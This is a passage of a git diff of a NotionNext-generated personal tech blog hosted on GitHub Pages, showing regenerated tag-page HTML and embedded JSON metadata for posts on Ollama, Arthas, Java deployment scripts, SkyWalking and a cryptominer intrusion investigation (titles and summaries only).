2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"建站"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"建站"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"建站"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"建站"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\345\274\200\345\217\221.html" "b/tag/\345\274\200\345\217\221.html"
index 8955cb3d3..c8b61fbcf 100644
--- "a/tag/\345\274\200\345\217\221.html"
+++ "b/tag/\345\274\200\345\217\221.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>开发 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="开发 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/开发"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="开发 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" 